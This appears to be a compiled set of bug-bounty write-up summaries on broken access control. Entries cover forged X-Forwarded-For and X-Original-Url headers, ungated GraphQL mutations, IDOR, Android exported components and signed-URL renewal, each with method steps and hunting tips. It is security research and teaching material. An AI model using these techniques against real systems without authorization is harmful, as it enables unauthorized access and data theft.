The front nginx enforces path-based access control (403 on /admin), but the backend app framework honors X-Rewrite-Url / X-Original-Url to internally re-route the request. Requesting an allowed path with the header set to the forbidden path bypasses the front-proxy ACL.

Method

1. Find a path blocked by the front server (e.g. /admin -> 403).
2. Send a request to an allowed path (/) with X-Rewrite-Url or X-Original-Url set to the forbidden path.
3. Backend re-routes to the forbidden resource, returning it despite the front-proxy block.

Insight — When a reverse proxy does path-based authz but the backend (IIS/ASP.NET, Symfony, etc.) trusts X-Original-Url/X-Rewrite-Url, you can desync them. Also try X-Forwarded-Path, path traversal, case/encoding tricks. This is a general proxy-vs-backend routing desync class.

Root cause

Inviting members is disabled in the UI (grayed 'max invitations reached'), but the underlying invite endpoint is not server-side restricted. The real endpoint, discoverable in a JS chunk, can be called directly to send invites despite the UI limit.

Method

1. Observe the UI blocks invites ('reached maximum number of team member invitations')
2. Grep the app's JS bundles for invite endpoints (e.g. .../users/new_invite vs the gated .../users/invite)
3. Open/POST the ungated endpoint directly with a target email
4. Invitation is sent despite the UI restriction

Insight — When a UI disables an action for tier/limit reasons, mine the JS bundles for the underlying API routes and call them directly - client-side gating rarely mirrors server-side authorization. Diff the 'disabled' route against sibling routes (invite vs new_invite).

Root cause

A restricted 'Moderator' shared-access user is blocked from the parent's info on the primary API (streamlabs.com/api/v5/user/) but the developer/platform host (platform.streamlabs.com/api/v1/s/user/me) lacks the same check and returns the parent's email and JWT.

Method

1. Get low-priv (Moderator) shared access to a victim account
2. Confirm the main API endpoint returns 'Unauthorized'
3. Hit the parallel platform/developer API host for /user/me
4. Receive parent email + JWT used for developer API

Insight — Enumerate a product's other API subdomains (platform./api./dev./legacy.); access-control fixes on the main host are often not mirrored on secondary hosts serving the same objects.

Root cause

The meteor-user-presence package's UserPresence:away/online DDP methods accept a target user _id and mutate that user's status without verifying the caller owns it - missing authorization on a WebSocket method.

Method

1. Recover a target user's _id from client network/WebSocket traffic
2. Open a DDP WebSocket to the server
3. Call the UserPresence method with the victim's _id
4. Observe the victim's online status change in other sessions

Insight — Enumerate Meteor/DDP methods (and any RPC-over-WebSocket API) and call each with another user's id. Real-time frameworks often authenticate the socket but forget per-method object-level authz, trusting the id in params.

Root cause

The store-preview bypass token (?_bt=...) was not scoped to the store that generated it, so a token minted from any store the attacker controls unlocks the password page of any other protected store's preview URL.

Method

1. Create/own a development store meeting the new (password-protected) standard
2. Open 'View your store' and copy the ?_bt=<token> query parameter from the address bar
3. Take a victim store's preview URL that also requires a password
4. Append your copied ?_bt=<token> to the victim preview URL and load it
5. Password page is bypassed and protected content is shown

Insight — Whenever an app gates content behind a 'bypass/preview/share' token, test whether a token issued for resource A also authorizes resource B. Capability tokens must be bound to the specific object they unlock.

Root cause

An under-development portal restricted login to whitelisted Google accounts, but an unadvertised /login/create endpoint still allowed self-registration; the resulting token then unlocked a user-listing API.

Method

1. Note the UI only offers Google SSO restricted to a whitelist
2. Directly POST to /login/create with a chosen userid/password to create an account
3. POST /login with those creds to obtain a valid bearer token
4. Use the token against /api/find/users to dump the allowed-user list

Insight — A locked front door (SSO whitelist) does not mean the account-creation API is locked. Enumerate /register, /login/create, /signup on apps that only show federated login; self-service registration endpoints are often left enabled.

Root cause

The ClaimCredentialMutation assigned a program credential to the current user without verifying the user had access to the (soft-launched/private) program behind a published external program, letting anyone drain and obtain credentials.

Method

1. Identify a private/soft-launched program that has a published external program
2. Invoke the claim-credential GraphQL mutation as an unauthorized authenticated user
3. Credential is reassigned to you despite no program access; repeat to drain the pool

Insight — Authorization must be checked on the underlying private resource, not just on the public wrapper (external program). Test mutations that grant/claim/assign resources from an unentitled account, especially where a public object links to a private one.

Root cause

Nextcloud requires password (sudo-mode) confirmation for a sensitive action in the UI, but the underlying OCS API endpoint that performs the action does not enforce the re-authentication, so calling it directly bypasses the confirmation.

Method

1. Create a workflow at /settings/user/workflow
2. Click Delete - the UI prompts for password confirmation (sudo mode)
3. Instead, send the DELETE directly to the workflowengine API endpoint
4. The workflow is deleted without any password confirmation

Insight — Re-authentication / sudo-mode / step-up is often a front-end gate. Identify the API call the confirmed action ultimately issues and invoke it directly - if the endpoint itself doesn't demand the fresh credential, the protection is cosmetic.

Root cause

For a public project with all features set members-only, the branch archive download URL became fetchable by unauthenticated users for a short window right after an authorized user clicked it (cached/short-lived authorization on the constructable URL).

Method

1. Identify the constructable archive URL: /<group>/<proj>/-/archive/master/<proj>-master.zip
2. Confirm it errors when unauthenticated
3. Loop-refresh the URL (e.g. Selenium IDE) from an unauthenticated client
4. When any authorized user clicks the download, the racing client succeeds and grabs the archive

Insight — Predictable/short-lived authorized download URLs can leak to anyone racing the window. Test constructable archive/export URLs with an unauthenticated poller against an authorized action.

Root cause

The read-only administrator restriction on the Agents Update settings was enforced only by an HTML readonly=true attribute; the backend accepted the save with no server-side role check.

Method

1. Log in as a Read-only administrator
2. Open the Agents Update settings page
3. Edit the DOM: change readonly="true" to readonly="false" on the form fields
4. Modify, submit and save
5. Changes take effect and are visible to full administrators

Insight — Whenever a role is called read-only/viewer, look for disabled/readonly form controls and try submitting anyway. Client-side disabling is not authorization; the server must reject writes from view-only roles.

Root cause

In the Cosmos SDK circuit-breaker module, the SOME_MSGS permission level was enforced with a per-message allowlist loop on TripCircuitBreaker but that loop was missing on ResetCircuitBreaker, so a user allowed one message could reset ALL circuit breakers.

Method

1. Grant a user SOME_MSGS permission for a single message url
2. Confirm Trip is restricted to that message (loop enforced)
3. Call ResetCircuitBreaker on a different message url_bad
4. Reset succeeds despite lacking permission for that message

Insight — When one operation on a resource has a permission check, audit its SIBLINGS (create vs delete, trip vs reset, enable vs disable). Authz enforced on one verb is frequently copy-pasted without the check to the inverse verb.

Root cause

A fine-grained token that lacked issues:write could still modify issue comments when it held contents:write plus issues:read, because the authorization for the comment-update action keyed off the wrong permission pair.

Method

1. Create a fine-grained PAT with issues:read and contents:write but NOT issues:write
2. Call the issue-comment update endpoint
3. Comment is modified despite missing the intended issues:write scope

Insight — Fine-grained permission systems have cross-scope leakage: an action may be authorized by an unrelated but adjacent write scope. Enumerate each action against a token holding only neighboring scopes to find the wrong permission mapping.

Root cause

A business-employee management endpoint (updateEmployees RPC) does not authorize the role change or enforce tenant isolation, so a plain 'user' role member can craft a request to set themselves (or others) to admin, and reach employees of other businesses given a known employeeUuid.

Method

1. As a low-privilege business user, capture the employee-update RPC
2. Change the role field to admin (and/or target another business's employeeUuid)
3. Replay to escalate privileges / edit other tenants' employees / take over invitations

Insight — Team/employee management endpoints are prime BFLA + mass-assignment targets: submit a role/permission field as a low-priv member, and swap object UUIDs to cross tenant boundaries. Always test whether the role in the update body is validated against the caller's privileges.

Root cause

The federated-sharing notification endpoint trusts a recipient-supplied RESHARE_CHANGE_PERMISSION message: given the share token and ID (both visible to the recipient), it applies the requested permission set without checking that the recipient is authorized to raise their own access.

Method

1. Receive a read-only federated share and accept it
2. Read the share token and share ID from your own client/database
3. POST a RESHARE_CHANGE_PERMISSION notification to the sharer's server with permission read+write+share
4. You now have full access

Insight — Federation/webhook/notification endpoints frequently trust the peer's claimed permission set. Whenever you hold a share token, replay the server-to-server notification and try elevating read->write->share.

Root cause

Access to Flow app connectors was authorized solely by a 1-hour signed URL (timestamp + path_hmac). A removed staff member could trigger the connect/disconnect flow to mint fresh timestamp/path_hmac pairs indefinitely, and admin re-signing did not invalidate the old holder's access.

Method

1. As staff with Apps permission, connect a connector and capture the signed URL (timestamp + path_hmac)
2. Get removed from the store
3. Before the 60-min window expires, revisit the saved URL and click Disconnect then Connect
4. A new timestamp + path_hmac is generated, granting another 60 minutes; repeat every ~45 min forever

Insight — Time-limited signed URLs are not a substitute for session/permission revocation. Test whether a de-provisioned user can self-renew a signed token by re-invoking the signing action, and whether re-issuance invalidates prior grants.

Root cause

The 'Sources' feature is hidden from the Analyst role only in the UI; the backing GET endpoint enforces no role check, so an analyst pulls source name/url/key directly.

Method

1. Get added to a victim account with a low (Analyst) role
2. Switch into the victim account
3. Call the JSON endpoint the UI omits for your role, supplying account_id/owner_id/user_id

Insight — When a role hides a UI panel, replay the API call that panel would make with the target IDs; RBAC is often only front-end.

Root cause

A public QuickLink bundle download validates the path parameter by prefix-matching against the shared filename. Any file whose name starts with the shared name (e.g. foo -> footer.php, foobar/secret) passes and is downloaded, even though it was never shared.

Method

1. Share a single file 'foo' and get its bundle code
2. Request the download with path=foo (works) and path=bar (rejected: Invalid path)
3. Change path to any name sharing the prefix: footer.php, foobar/secret
4. File is served despite not being shared

Insight — When a share grants access to one object, fuzz the path/name parameter - authorization is often a weak prefix/substring/startswith match, letting you reach sibling files and subdirectories.

Root cause

The Deck app's boards/<id>/stacks/<id> API returned card contents without verifying the requesting user is a board member, so any authenticated user reads another user's cards.

Method

1. Authenticate as an unrelated low-priv user
2. GET the Deck stacks API with another user's board/stack id and OCS-APIREQUEST header
3. Read the card titles/contents

Insight — App/plugin REST APIs (esp. Nextcloud OCS apps) often trail the core authz; iterate object ids on every app endpoint with a second account.

Root cause

When the client lets the user pick a file to upload/share via ACTION_GET_CONTENT, it trusts whatever URI the chosen app returns. A malicious app registered for GET_CONTENT returns a file:// URI to the client's own private files, which the client then reads and shares out.

Method

1. Build an app whose activity handles ACTION_GET_CONTENT and setResult() returns a file:// URI to the victim app's private path
2. Install it alongside the target client
3. In the client, choose 'upload content from other apps' and pick the malicious app
4. The client reads and shares the victim's private file (e.g. its preferences XML with tokens)

Insight — Apps that upload/share a file returned from ACTION_GET_CONTENT/OPEN must not blindly read attacker-returned content://file:// URIs - a rogue app can hand back the victim app's own private files. Validate/normalize the returned URI and read via the SAF resolver, not raw file paths.

Root cause

An admin-scoped API endpoint authorizes the caller as an admin of some hub but does not verify the admin owns the specific appid supplied, so any hub-admin can read UGC reports for unrelated games.

Method

1. Obtain admin permission on any game hub you legitimately control
2. Call the GetReports endpoint but substitute the appid of an unrelated game
3. Server returns that game's user-generated-content reports

Insight — When an endpoint requires a privileged role, still fuzz the object identifier: role checks and object-ownership checks are frequently separate, and the object check is often missing.

Root cause

GraphQL mutation authorization is enforced by which UI a role sees, not by a server-side check on the mutation itself; a user with only 'Store Management' permission can directly send a mutation gated to 'User Management'.

Method

1. As org admin, invite a user with only Store-Management permission (gets access to /stores/api GraphQL)
2. As that low-priv user, query organization{domains{id}} to get the domain id
3. Send the changeDomainEnforcementState mutation directly with enforcementState:NOT_ENFORCED
4. Server executes it despite the role lacking User-Management permission

Insight — For every GraphQL/REST mutation reachable by a low role, replay it directly regardless of whether the UI exposes it. Enumerate all mutations via introspection and A-B-A test each against a low-priv session.

Root cause

Two API methods return related data but only one enforces the release-state check; the sibling (GetGlobalAchievementPercentagesForApp) omits it, leaking achievement names for unreleased games.

Method

1. Identify two endpoints returning overlapping data (schema vs stats)
2. Confirm one enforces a gating check (release state, visibility)
3. Call the sibling with the same id and observe missing check leaking gated data

Insight — Map families of related endpoints (get/list/schema/stats/export). Authorization is often implemented per-endpoint; the least-used sibling frequently misses a check its cousin enforces.

Root cause

Two vendor apps share an authentication cookie; a staff granted only App B can capture App B's request cookie and replay it against App A's data endpoint, which trusts the cookie without re-checking app entitlement.

Method

1. Grant a staff account access to only the low-value app (Ali Express Importer)
2. Open that app to establish its session
3. Send a request to the target app's data endpoint (judge.me/index.json?shopdomain=...) and capture the login-prompt request
4. Swap in the cookie obtained from the low-value app's authenticated request
5. Replay -> receive all reviews including hidden/archived from the app you were never granted

Insight — When one vendor ships multiple apps sharing a cookie/SSO, entitlement to the weakest app can be laundered into data access on a stronger app. Enumerate all endpoints and try each app's session cookie against the others.

Root cause

DELETE /api/memberships/<membershipID> performs no role check on the caller; any org member (including read-only) can delete any membership, including managers/admins/owner, given the target membership id.

Method

1. Join/switch into the target org as a read-only member
2. Read the PaginatedMembershipsQuery GraphQL response to enumerate membership ids (incl. admins/owner)
3. Send DELETE /api/memberships/<id> for the higher-privileged member
4. Target is removed and logged out with 401 loss of org access

Insight — State-changing endpoints (DELETE/PUT) often lack the authz enforced on the UI. Enumerate object ids from a permissive list/GraphQL query, then A-B-test destructive endpoints from the lowest-privilege session.

Root cause

Admin page restricts access by source IP but derives the client IP from the attacker-controlled X-Forwarded-For header, so spoofing localhost re-grants access (bypass of an earlier fix #870709).

Method

1. Identify an admin/internal path that returns 403 for external clients
2. Resend the request adding X-Forwarded-For: 127.0.0.1 (also try X-Real-IP, X-Client-IP, X-Originating-IP)
3. Receive the admin page

Insight — IP-based allowlists that read forwarded headers are trivially bypassed. On any 403-on-internal-path, spray the forwarded-IP header family with 127.0.0.1/10.0.0.1/localhost and retest after vendor 'fixes' - the guard is often reintroduced elsewhere.

Root cause

Node.js experimental permission model treats a '*' anywhere in --allow-fs-read/write as a trailing wildcard, so --allow-fs-read=/home/node/.ssh/*.pub actually grants everything under /home/node/.ssh/ (CVE-2024-21890).

Method

1. Run node with a scoped grant like --allow-fs-read=/dir/*.ext
2. Read a file in /dir that does not match .ext
3. Access succeeds -> the suffix after '*' is ignored

Insight — When testing sandbox/allowlist path grammars, assume glob parsing is naive: place the wildcard mid-pattern and verify the suffix is enforced. 'Only trailing * is honored' is a common footgun in permission DSLs.

Root cause

Referencing a private file (by ID, e.g. {F27}) from a public object auto-broadens the file's permissions to match the container - and this re-permissioning triggers when a higher-privileged user (who can see the file) edits a lower-privileged user's public post.

Method

1. As high-priv user, attach a private file to a restricted task; note its file ID
2. As low-priv attacker, create a public task embedding {F<id>} plus bait (typos/profanity) to lure an edit
3. When a privileged user edits the public post, the file's ACL is silently widened and the attacker can now read it

Insight — 'Reference resolves = permission inherits' is a dangerous pattern. Hunt for object-embedding features (files, images, snippets) where placing a private object's ID into a public container mutates the object's own ACL, especially when a privileged viewer's action performs the mutation.

Root cause

Discourse's ExportCsvController authorization only refused entity type 'admin', but no 'admin' export entity exists, so the guard is a no-op; the real limit collapses to one export/day, letting any authenticated user export the full user table (names, emails, admin flags).

Method

1. As a low-priv user, call the CSV export endpoint
2. Request a sensitive entity type (user_list) that is not the (nonexistent) 'admin' type
3. Download the exported CSV of all users

Insight — Read authorization checks literally: a deny-list keyed on a value that can never occur is a broken check. When you see a role/type gate, test whether the gated value actually exists in the system - if not, the guard is a no-op and every action behind it is open.

Root cause

Streamlabs 'act as' shared-access (Moderator) session is trusted by the Zendesk support SSO bridge, which does not re-check the delegated role, so a Moderator can view/create/edit the owner's support tickets and profile.

Method

1. Owner (A) creates a Moderator shared-access invite; attacker (B) accepts it
2. As B, activate 'acting as A'
3. Navigate to the Zendesk SSO bridge URL
4. Land in A's authenticated support portal beyond the moderator's intended scope

Insight — Delegation/'act-as'/impersonation features rarely propagate the delegated role to satellite systems (support, billing, help desk, SSO bridges). After entering a limited delegated session, walk to every cross-domain SSO handoff and test what scope you actually inherit.

Root cause

Admin-only endpoints enforce no server-side authentication; the forgot-password flow's response body discloses their paths, giving an attacker a map of unprotected functionality.

Method

1. Trigger forgot-password for 'admin' at /Account/ForgotPassword.aspx
2. Capture the reset request/response in Burp
3. Harvest endpoint paths leaked in the response (EditNotes.aspx, HOEvalDetailWONav.aspx, AddressLookup.aspx)
4. Call those endpoints directly unauthenticated; they neither require auth nor throttle

Insight — Password-reset and error responses often leak internal route names; probe those routes directly since UI-hidden admin endpoints frequently rely only on obscurity.

Root cause

A GraphQL mutation (retailUserDataUpdate) that changes a staff member's POS access + PIN performs no authorization check tying the caller's privileges to the operation, so a low-privilege staffer invokes it against their own id to gain POS access with no admin interaction.

Method

1. Log in as low-priv staff (e.g. Manage Locations only) in a store with POS
2. Find your own StaffMember gid
3. Call the mutation to set posAccess:true and a PIN of your choice

Insight — GraphQL mutations frequently miss function-level authorization. Enumerate privileged mutations (introspection / JS bundles) and A-B-A test them from a low-priv session against your own object id; self-service permission grants are a common BFLA/mass-assignment win.

Root cause

resetreportedcount and updatetags validate that the caller is a hub admin but not that the target id belongs to that hub; changing the id operates on UGC/guides in other hubs.

Method

1. Perform Clear Reports / Update Tags in a hub you admin; capture the request
2. Replay it changing the id param to a UGC/guide id outside your hub
3. Server executes the action on the foreign object

Insight — Admin-role check != per-object authorization; for every privileged action tamper the object id to something outside your scope.

Root cause

One backend handler (dashboard_handler.php) routes many privileged review-moderation actions selected by an 'action' POST parameter, and it is reachable by any user with no role check (and no CSRF protection), so an attacker can perform admin operations by naming the action.

Method

1. Discover the admin handler endpoint and its action names
2. POST action=<privileged_action> with the target object id (e.g. review_id)
3. No authorization is enforced -> action executes (edit/delete/feature/mail reviews)

Insight — Look for monolithic *_handler.php / dispatcher endpoints that switch on an action/op/cmd param. Enumerate action values (JS, leaked source) and test each unauthenticated/low-priv; missing authz on the dispatcher exposes the whole admin surface at once, and no CSRF token makes it forgeable.

Root cause

Phabricator checks file-view permission when attaching a file to normal objects, but skips that check when a commit message references a file via {Fxxxx} syntax; syncing the commit makes the referenced file viewable regardless of the caller's access.

Method

1. Enumerate restricted file IDs (Fxxxxxxx)
2. Put the file-reference syntax in a commit message in a Diffusion repo you control
3. Push/sync the commit; the referenced restricted file becomes publicly viewable

Insight — Any surface that renders or attaches object references (commit messages, comments, markdown, remarkup) may skip the permission check the primary attach flow performs. Enumerate object IDs and embed the reference to force disclosure.

Root cause

A privileged Windows service (anti_ransomware_service.exe) exposes a REST API on 127.0.0.1:6109 with no authentication, so any local unprivileged user can whitelist a malicious executable or exclude the whole drive from anti-ransomware monitoring.

Method

1. As any local user, PUT to the whitelist endpoint to add a malicious exe
2. Or PUT to the excludes endpoint to exclude C:\* from monitoring
3. Verify in the GUI that protection is effectively disabled

Insight — Desktop security agents often back their GUI with an unauthenticated loopback REST/IPC service. Any local process can call it to disable protection or change trust lists. Enumerate listening 127.0.0.1 ports of privileged services and fuzz their endpoints.

Root cause

The GraphQL field serviceMetrics.totalEarnings is not gated by the 'View financials' permission, so a partner staff member with no permissions can read financial data.

Method

1. Owner invites a staff member with no permissions
2. As that staff member, intercept any authenticated partners GraphQL request
3. Replace the query body with the financial query

Insight — GraphQL authorization is enforced per-resolver/field; individual sensitive fields are routinely missed. Take any authenticated low-privilege session and directly query fields you shouldn't be able to see rather than relying on the UI to hide them.

Root cause

A user with read+share (no write) on a folder creates a public link share of a sub-folder, then PUTs an arbitrary permissions value to the sharing API; the server updates the child share's permissions without capping them to the parent share's granted rights, yielding write/delete on read-only content (CVE-2019-15621).

Method

1. Receive a read+share (perms 17) share of a folder
2. Create a public link share of a sub-folder (server sets read-only perms 1)
3. PUT permissions=15 to the share via the sharing API
4. Browse the link and create/modify/delete files despite only having read on the source

Insight — When permissions are represented as a client-supplied bitmask/enum on an update call, tamper it upward. The core bug class: a delegated/child grant not clamped to the delegator's own rights - test every re-share/sub-resource permission field.

Root cause

A per-IP action limit (vote restriction) derives the client IP from a client-controlled X-Forwarded-For header, so spoofing it grants unlimited actions.

Method

1. Find an action limited per IP (votes, signups, coupon redemptions).
2. Add/rotate X-Forwarded-For with arbitrary IPs on each request.
3. Confirm the limit is keyed on the spoofed value; automate via Intruder/script.

Insight — Any 'one per IP' control is bypassable if the app trusts X-Forwarded-For / X-Real-IP / X-Client-IP / True-Client-IP behind a proxy. Also chains to bypass IP-based auth lockout and geofencing.

Root cause

A group IP allowlist restricts artifact access through the API and UI, but the gitlab.io Pages HTML-artifact-preview path serves the same job artifacts and is not covered by the IP block; with a job ID (leaked e.g. via pipeline-finished emails) artifacts are fetchable from any IP, unauthenticated for public projects.

Method

1. Create a public project that produces artifacts; confirm normal artifact URL works
2. Enable the group IP allowlist; normal artifact URL now 404s outside the range
3. Fetch the same file via the Pages preview host from any IP / logged out

Insight — Access controls tied to one host or route frequently don't cover alternate domains or preview/render features that expose the same objects. Enumerate secondary domains (pages, cdn, preview, export) and check whether they re-serve protected data. Job IDs leak via email notifications.

Root cause

Access to activation-gated functionality is enforced only by a 302 redirect to /access-denied, while the response still contains the full requested data; rewriting the status/redirect reveals it.

Method

1. Access a feature that requires account activation as an unactivated user
2. Note the response is 302 -> /access-denied but the body carries the real data
3. Add a Burp match-replace rule to rewrite 302 to 200 / drop the Location
4. Data renders; activation gate bypassed

Insight — If a page 'redirects' you away but the sensitive body is already in the response, the control is cosmetic; force-render by rewriting status/Location.

Root cause

A prior fix (CVE-2026-34913) added ownership validation to linking a tracker to a campaign, but the reverse operation in tracker-campaigns.php (linking a campaign to a tracker) was left unchecked, letting a low-privileged user cross-link objects owned by other managers.

Method

1. Identify a relationship-linking feature whose forward direction was recently patched for authz.
2. Exercise the reverse operation (campaign->tracker instead of tracker->campaign) via its script.
3. Link your object to another manager's object; ownership is not validated on that path.

Insight — After a fix adds an ownership check, test the mirror operation of a bidirectional relationship. Patches often cover only the direction described in the original report. Classic patch-bypass / variant hunting.

Root cause

Components are exported/implicitly-invocable without permission checks: a malicious app can start privileged activities (intent spoofing) and both send fake app notifications and intercept the app's implicit-broadcast notifications (unauthorized intent receipt).

Method

1. Decompile the APK and read AndroidManifest for exported components and unprotected broadcasts (android:exported=true / no android:permission).
2. Start a sensitive exported activity from a malicious app to trigger unintended actions (e.g. video upload).
3. Broadcast the app's implicit action with forged extras to inject fake notifications; register a receiver for that action to intercept private messages.

Insight — Audit exported activities/services/receivers and implicit broadcasts. Implicit broadcasts are readable by any app registering the action (message interception); exported activities let other apps drive privileged flows. Fix = exported=false or signature/custom permissions.

Root cause

An exported activity (SAMLAuthActivity) reads an 'auth_url' (and 'title') extra from an untrusted intent and loads it into a WebView, so any installed app (or Instant App from the web) can render an attacker page under the app's chrome for credential phishing.

Method

1. Find exported activities that take a URL/title extra and feed it to WebView.loadUrl (manifest + smali/Java).
2. Launch it with a malicious auth_url and a convincing title.
3. The user sees no real URL and trusts the app-branded login page.

Insight — Exported activities that pass intent-supplied URLs to WebViews are a recurring Android bug: arbitrary-URL load -> phishing, and if JS bridges exist, XSS/RCE. Grep manifests for exported components and trace extras into loadUrl.

Root cause

Administrative store console served without any authentication gate; direct navigation exposes item/order/promo-code management.

Method

1. Guess/enumerate admin paths (e.g. /ADMIN/store/index.cfm)
2. Navigate directly; the page loads with full admin functions and no login

Insight — Forced-browse common admin directory names (/admin, /ADMIN/store, /manage, *.cfm consoles). Legacy ColdFusion/CFM apps frequently ship admin pages that rely on obscurity rather than an auth check.

Root cause

Shopify Plus enforces UI-level role restrictions but the backend GraphQL mutations do not re-check the caller's permission, so a Store-Management user can call User-Management-only enforceSamlOrganizationDomains (and an install-only user can call appUninstall).

Method

1. Create a low-privilege staff/user with only Store (or app install) management
2. Discover the org GraphQL endpoint (POST /:org_id/stores/api) and read needed IDs via an introspective query
3. Replay the privileged mutation as the low-priv user; it succeeds

Insight — Function-level authorization is enforced per-mutation on GraphQL APIs; the UI hiding a button proves nothing. Enumerate mutations, then replay each privileged one from a low-role session (A-B-A testing) to find missing per-operation permission checks.

Root cause

For Node UPDATE AdmissionReview, Kubernetes populated oldObject fields with the NEW values, so validating webhooks that enforce immutability by diffing old vs new see no change and admit forbidden mutations (labels, taints, unschedulable, etc.).

Method

1. Deploy a ValidatingWebhookConfiguration for Node updates that logs oldNode and newNode
2. Patch a supposedly-immutable field (metadata.labels, spec.taints, spec.unschedulable)
3. Observe old and new objects carry identical patched values -> diff-based checks pass

Insight — When testing policy/admission controllers that enforce immutability by comparing old vs new state, verify the old state is actually the pre-change state. If old==new, every diff-based guard is bypassable. Applies to K8s webhooks and any 'compare before/after' authorization.

Root cause

Sharing restricts which result pages a recipient may view in the UI, but the export (.xlsx) endpoints enforce no such per-page check, so a recipient granted only 'Results' can pull Overview/Locations/Participants data via direct export URLs.

Method

1. Share a resource granting the victim only a subset of pages plus Export
2. As the restricted recipient, request the export URLs for pages you were NOT granted
3. Restricted data downloads despite the UI restriction

Insight — Authorization enforced in the UI/render layer is frequently missing on alternate representations: export/print/API/.json/.xlsx/.pdf/.csv endpoints. For any 'share with limited scope' feature, enumerate the download/export variants and confirm each re-checks scope.

Root cause

GitLab Pages session cookies are not bound to the subdomain they were issued for; an attacker who can host a private Pages site the victim can view registers a service worker that intercepts /auth, and relays the OAuth code/state through an attacker server to mint a pages session cookie usable on the victim's private Pages subdomains.

Method

1. Attacker hosts a private Pages site (attacker.gitlab.io) and invites the victim as collaborator
2. Victim visits; a service worker registers and intercepts only the /auth endpoint
3. Attacker server fetches a session cookie + redirect URL and relays the victim through OAuth (defeats the state CSRF param)
4. Service worker captures the OAuth code/state at /auth and sends it to the attacker server
5. Attacker completes /auth with the original cookie to get an authenticated pages cookie, reused cross-subdomain

Insight — On multi-tenant *.domain hosting, test whether session cookies are validated against the exact subdomain. Service workers registered on an attacker-controlled tenant can intercept auth callbacks; combined with an OAuth state relay this yields cross-subdomain session theft. Scope Pages/tenant cookies to their subdomain.

Root cause

Many internet-facing devices accept IP-in-IP (RFC2003, proto 4) encapsulated packets from any source and unwrap+forward the inner packet via their routing tables without source/destination validation, letting an attacker route traffic through the device.

Method

1. Send an IP-in-IP packet (proto 4) whose outer dst is the target device and inner dst is an internal/arbitrary host
2. Vulnerable device decapsulates and forwards the inner packet, reaching networks behind its ACLs
3. Abuse for reflective DDoS (spoofed inner src) or to reach filtered internal destinations

Insight — Test edge devices for IP-in-IP (proto 4) decapsulation: if they forward arbitrary inner packets, network ACLs relying on source/interface are bypassable and the device becomes a DDoS reflector. Devices should only decapsulate for explicitly configured tunnel peers.

Root cause

Changing an object's visibility (public group transferred into a private group) does not re-index or purge the Elasticsearch documents, so the now-private code/wiki is still returned by the search API even though the UI hides it.

Method

1. Create public group + public project with known content
2. Transfer the whole group into a private group
3. As an unrelated user, search the term in the UI (no results shown, but count>0)
4. Hit /api/v4/search?search=<term>&scope=blobs (and scope=wiki_blobs) to retrieve the private content

Insight — Search/index backends are a durable side-channel: after any visibility downgrade, query the search API directly (not the UI) for the old content. UI result-count leaks (count>0 with 0 rows shown) are the tell.

Root cause

The endpoint gated on the :approve_merge_request ability, but the policy also grants that ability to anyone who can :update_merge_request (author/assignee), which includes Guest/Reporter — so the intended Developer+ restriction is silently widened.

Method

1. Identify a privileged action gated by ability X
2. Read the ability policy graph for rules that also confer X via a weaker ability (e.g. update/own-object rules)
3. Become author or assignee of the object as a low-priv user (create MR via fork/email, or get assigned)
4. Perform the action that should require Developer+

Insight — Authorization bugs hide in the ability/policy graph, not just in missing checks. When source is available, grep the policy rules for a gated ability and trace every other ability that enables it; owner/author/assignee shortcuts frequently leak privileged abilities to low roles.

Root cause

The endpoint that adds a collaborator to a resource does not verify the caller owns/can-share the target resource, so any authenticated user can add themselves as collaborator to any resource by ID and inherit full control.

Method

1. Pick a target resource ID (enumerable list id)
2. POST to the add-collaborator endpoint with your own email and the target id
3. Retrieve the resource token and open the edit view to read/modify/delete it

Insight — Collaborator/member-add endpoints are a classic BOLA sink: test self-adding to objects you don't own. If it succeeds, it grants durable read/write, and stored content can seed stored-XSS/phishing into popular shared objects.

Root cause

Direct GET of a private merge request is correctly denied (403), but the subscription endpoint calls find() directly on the relation without scoping to accessible objects and returns the full MR representation in its response, leaking data the user cannot otherwise read.

Method

1. As a guest lacking MR access, confirm direct GET returns 403
2. POST to the subscription endpoint for the same MR id
3. Read the full MR (title, description, branches, SHAs) from the subscription response

Insight — Don't test only the obvious GET. Secondary actions (subscribe, watch, star, export, notifications) frequently echo the full protected object and skip the authorization scoping the primary read enforces. Enumerate every endpoint that touches an object's ID.

Root cause

Adobe Connect meeting rooms have guessable names/IDs and no password or session expiration, so old rooms stay open indefinitely and their historical chat logs and uploaded files (with PII) remain accessible.

Method

1. Enumerate meeting-room URLs by guessing predictable room names.
2. Enter rooms that lack a password (no expiry enforced).
3. Read persisted chat history and download uploaded files, some containing PII.

Insight — Long-lived collaboration resources (meeting rooms, share links, recordings) are frequently both enumerable and non-expiring. Fuzz predictable room names and check whether stale rooms retain historical chat/files.

Root cause

A Meteor server method forwards client input straight to a DB model update with no authentication or role check, so any client (including unauthenticated) can invoke it from the browser console.

Method

1. Open the target Meteor app in a browser
2. Open devtools console
3. Call the vulnerable Meteor method directly with attacker parameters

Insight — Meteor apps expose every Meteor.method to the client. Enumerate method names (bundle JS / DDP) and test each with Meteor.call from the console; methods that lack a Meteor.userId()/permission check are direct unauthenticated actions. The same pattern applies to any RPC-over-websocket framework.

Root cause

An exported Android activity (a share/select handler) accepts a file URI from a third-party app without validating it, then copies the referenced file to a world-readable location, allowing a malicious app to exfiltrate the victim app's private files.

Method

1. Enumerate exported components in the target APK's manifest
2. Send an Intent to the exported activity referencing a private file path/URI inside the target app's data dir
3. Trigger the (user-assisted) share/save action
4. Read the copied file from the public/accessible directory

Insight — Any exported component that takes a caller-supplied URI/path and reads or copies it is a file-theft primitive (the confused-deputy pattern). Grep the manifest for exported activities/providers and fuzz their extras with file:// and content:// URIs pointing at the app's own sandbox.

Root cause

A project-scoped delete endpoint for a shared/public deploy key calls destroy() on the global key object rather than removing the project-key relationship, so any user with one project can delete a key used by all projects.

Method

1. Enable a public/shared deploy key on your own new project
2. Find the project id and the shared key id via the API
3. Send DELETE for the key under your project; the global shared key is destroyed for everyone

Insight — For shared/global resources exposed under a per-tenant path, test whether DELETE removes the association or the underlying object. destroy-on-shared-object is both a broken-access-control and a cross-tenant DoS primitive.

Root cause

Two flaws combine: running CI jobs do not re-check whether the triggering user is blocked, and holding the runner's HTTP response open keeps the job (and its short-lived CI token) alive indefinitely, so a blocked user keeps a working git credential.

Method

1. As soon-to-be-blocked attacker, create a project, register a runner, add .gitlab-ci.yml
2. Proxy the runner's git/HTTP traffic; start a job and capture the CI job token from the clone request
3. Drop/hold the HTTP responses to the runner so the job never completes and the token never expires
4. After being blocked, use the CI token via git clone/pull against repos the user had access to

